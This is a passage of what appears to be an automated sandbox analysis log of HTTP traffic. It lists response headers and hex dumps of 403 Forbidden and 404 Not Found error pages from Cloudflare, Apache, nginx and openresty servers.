frame-ancestors 'none';x-shopid: 66042101977x-shardid: 216Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:19:09 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cG%2FKnhh8hxzAyCwGuBbK8%2Bs%2BkmYAuBHY%2BC8TBSqrUneXletAteAK9HcxYI4RQPSOG0ZjeHs69TcZ8ujQ%2FacnzDkJzxTa9EBYTwAKIf%2FnPZFnf5Bo%2BRlDJvSrNhklYi4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811f34093446e9-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1717&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=763&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 35 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f Data Ascii: 154a<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:55 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:55 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 25 Oct 2024 09:19:01 GMTContent-Type: text/htmlContent-Length: 2843Connection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 26 Jul 2018 17:13:08 GMTETag: "b1b-571ea1be9f445"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 69 6d 67 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 75 6c 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 65 6d 3b 0a 7d 0a 68 74 6d 6c 20 7b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 62 37 39 62 37 3b 0a 7d 0a 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 a5 e1 a5 a4 a5 ea a5 aa 22 2c 20 4d 65 69 72 79 6f 2c 20 22 a3 cd a3 d3 20 a3 d0 a5 b4 a5 b7 a5 c3 a5 af 22 2c 20 22 4d 53 20 50 47 6f 74 68 69 63 22 2c 20 22 a5 d2 a5 e9 a5 ae a5 ce b3 d1 a5 b4 20 50 72 6f 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 37 35 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 68 32 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:19:02 GMTContent-Type: text/htmlContent-Length: 19268Connection: keep-aliveServer: ApacheLast-Modified: Fri, 13 May 2022 08:04:11 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 25 Oct 2024 09:19:03 GMTContent-Type: text/htmlContent-Length: 2843Connection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 26 Jul 2018 17:13:08 GMTETag: "b1b-571ea1be9f445"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 69 6d 67 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 75 6c 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 65 6d 3b 0a 7d 0a 68 74 6d 6c 20 7b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 62 37 39 62 37 3b 0a 7d 0a 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 a5 e1 a5 a4 a5 ea a5 aa 22 2c 20 4d 65 69 72 79 6f 2c 20 22 a3 cd a3 d3 20 a3 d0 a5 b4 a5 b7 a5 c3 a5 af 22 2c 20 22 4d 53 20 50 47 6f 74 68 69 63 22 2c 20 22 a5 d2 a5 e9 a5 ae a5 ce b3 d1 a5 b4 20 50 72 6f 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 37 35 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 68 32 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:03 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4514Connection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:19:18 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5QTQ0FKkVVbH3Pld9JRewX979ZT1SiQ0KiSEPdUSjr5Bp7qVNeTttqVS0YtG2MzcTYfOvDjom539S%2Bth%2FFY1Ar8HvqvFHzVscx8ETu97OuxxiENDAFJ4EE5lVvB85wBe"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811f6e3b2be5a9-DFWData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 Data Ascii: <!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noin
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:19:04 GMTContent-Type: text/htmlContent-Length: 19268Connection: keep-aliveServer: ApacheLast-Modified: Fri, 13 May 2022 08:04:11 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:19:04 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 